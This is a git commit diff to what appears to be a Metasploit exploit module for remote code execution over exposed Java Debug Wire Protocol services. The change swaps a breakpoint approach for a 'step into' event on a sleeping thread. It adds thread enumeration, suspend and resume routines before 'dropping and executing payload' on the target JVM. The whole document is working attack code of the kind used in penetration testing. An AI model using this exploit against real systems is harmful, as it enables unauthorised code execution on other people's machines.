Modify breakpoint approach by step into

bug/bundler_fix
Julian Vilas 2014-06-12 01:23:20 +02:00
parent 73536f2ac0
commit 4f67db60ed
1 changed files with 104 additions and 56 deletions

View File

@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote
MODKIND_THREADONLY = 2 MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5 MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7 MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
EVENT_BREAKPOINT = 2 EVENT_BREAKPOINT = 2
EVENT_STEP = 1
SUSPEND_EVENTTHREAD = 1 SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2 SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99 NOT_IMPLEMENTED = 99
@ -60,6 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
TYPE_CLASS = 1 TYPE_CLASS = 1
TAG_ARRAY = 91 TAG_ARRAY = 91
TAG_VOID = 86 TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
def initialize def initialize
@ -322,6 +328,21 @@ class Metasploit3 < Msf::Exploit::Remote
version.downcase =~ /1[.]8[.]/ version.downcase =~ /1[.]8[.]/
end end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
# Returns reference types for all classes currently loaded by the target VM # Returns reference types for all classes currently loaded by the target VM
def get_all_classes def get_all_classes
return unless @classes.empty? return unless @classes.empty?
@ -416,20 +437,54 @@ class Metasploit3 < Msf::Exploit::Remote
return classname, method return classname, method
end end
# Resumes execution of the application after the suspend command or an event has stopped it # Gets the status of a given thread
def resume_vm def thread_status(thread_id)
sock.put(create_packet(RESUMEVM_SIG)) sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
response = read_reply buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
fail_with(Exploit::Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response unless response
fail_with(Exploit::Failure::Unknown, "No network response") fail_with(Exploit::Failure::Unknown, "No network response")
end end
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM # Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args) def send_event(event_code, args)
data = [event_code].pack('C') data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C') data << [SUSPEND_EVENTTHREAD].pack('C')
data << [args.length].pack('N') data << [args.length].pack('N')
args.each do |kind,option| args.each do |kind,option|
@ -473,15 +528,14 @@ class Metasploit3 < Msf::Exploit::Remote
end end
# Parses a received event and compares it with the expected # Parses a received event and compares it with the expected
def parse_event_breakpoint(buf, event_id) def parse_event_breakpoint(buf, event_id, thread_id)
r_id = buf[6..9].unpack('N')[0]
return nil unless event_id == r_id
len = @vars["objectid_size"] len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
t_id = unformat(len,buf[10..10+len-1]) t_id = unformat(len,buf[10..10+len-1])
return r_id, t_id return (event_id == r_id) && (thread_id == t_id)
end end
# Clear a defined event request # Clear a defined event request
@ -729,39 +783,35 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
# Sets a breakpoint on frequently called method (user-defined) # Set event for stepping into a running thread
def set_breakpoint def set_step_event
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}") # 1. Select a thread in sleeping status
t_id = nil
# 1. Gets reference of the method where breakpoint is going to be setted @threads.each_key do |thread|
classname, method = str_to_fq_class(datastore['BREAKPOINT']) if thread_status(thread) == THREAD_SLEEPING_STATUS
break_class = get_class_by_name(classname) t_id = thread
unless break_class break
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") end
end end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
get_methods(break_class["reftype_id"]) # 2. Suspend the thread before setting the event
m = get_method_by_name(break_class["reftype_id"], method) suspend_vm(t_id)
unless m
fail_with(Failure::BadConfig, "Method of Break Class not found")
end
# 2. Sends event request for this method vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
loc = [TYPE_CLASS].pack('C') step_info = format(@vars["objectid_size"], t_id)
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"]) step_info << [STEP_MIN].pack('N')
loc << format(@vars["methodid_size"], m["method_id"]) step_info << [STEP_INTO].pack('N')
loc << [0,0].pack('NN') data = [[MODKIND_STEP, step_info]]
data = [[MODKIND_LOCATIONONLY, loc]] r_id = send_event(EVENT_STEP, data)
r_id = send_event(EVENT_BREAKPOINT, data)
unless r_id unless r_id
fail_with(Failure::Unknown, "Could not set the breakpoint") fail_with(Failure::Unknown, "Could not set the event")
end end
r_id return r_id, t_id
end end
# Uploads & executes the payload on the target VM # Uploads & executes the payload on the target VM
def exec_payload(thread_id) def exec_payload(thread_id)
# 0. Fingerprinting OS # 0. Fingerprinting OS
@ -799,6 +849,7 @@ class Metasploit3 < Msf::Exploit::Remote
@vars = {} @vars = {}
@classes = [] @classes = []
@methods = {} @methods = {}
@threads = {}
@os = nil @os = nil
connect connect
@ -807,7 +858,7 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, "JDWP Protocol not found") fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
end end
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...") print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
get_sizes get_sizes
print_status("#{peer} - Getting the version of the target VM...") print_status("#{peer} - Getting the version of the target VM...")
@ -816,37 +867,34 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Getting all currently loaded classes by the target VM...") print_status("#{peer} - Getting all currently loaded classes by the target VM...")
get_all_classes get_all_classes
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...") print_status("#{peer} - Getting all running threads in the target VM...")
r_id = set_breakpoint get_all_threads
print_status("#{peer} - Setting 'step into' event...")
r_id, t_id = set_step_event
print_status("#{peer} - Resuming VM and waiting for an event...") print_status("#{peer} - Resuming VM and waiting for an event...")
resume_vm response = resume_vm(t_id)
secs = datastore['BREAK_TIMEOUT'] unless parse_event_breakpoint(response, r_id, t_id)
ret = "" datastore['NUM_RETRIES'].times do |i|
datastore['NUM_RETRIES'].times do |i| print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...")
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...") buf = read_reply
if datastore['BREAKPOINT_PORT'] && datastore['BREAKPOINT_PORT'] > 0 break if parse_event_breakpoint(buf, r_id, t_id)
force_net_event
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end end
buf = read_reply(secs)
ret = parse_event_breakpoint(buf, r_id)
break unless ret.nil?
end end
r_id, t_id = ret
vprint_status("#{peer} - Received matching event from thread #{t_id}") vprint_status("#{peer} - Received matching event from thread #{t_id}")
print_status("#{peer} - Deleting step event...")
print_status("#{peer} - Deleting breakpoint...") clear_event(EVENT_STEP, r_id)
clear_event(EVENT_BREAKPOINT, r_id)
print_status("#{peer} - Dropping and executing payload...") print_status("#{peer} - Dropping and executing payload...")
exec_payload(t_id) exec_payload(t_id)
print_status("#{peer} - Resuming the target VM, just in case...")
resume_vm
disconnect disconnect
end end
end end